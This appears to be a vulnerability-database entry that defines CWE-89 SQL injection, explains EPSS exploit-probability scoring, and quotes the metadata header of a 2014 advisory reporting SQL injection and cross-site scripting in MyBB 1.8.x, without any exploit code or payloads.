CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#Title: MyBB 1.8.X - Multiple Vulnerabilities
#Date: 13.11.2014
#Tested on: Linux / Apache 2.2 / PHP 5 (localhost)
#Vendor: mybb.com
#Version: => 1.8.1 - Latest ATM
#Contact: smash@devilteam.pl
#Author: Smash_
Latest MyBB forum software suffers on multiple vulnerabilities, including SQL Injection and Cross Site Scripting. Such bugs may allow attacker to perform remote sql queries against the database, and so on.
Sanitize your inputs ;)
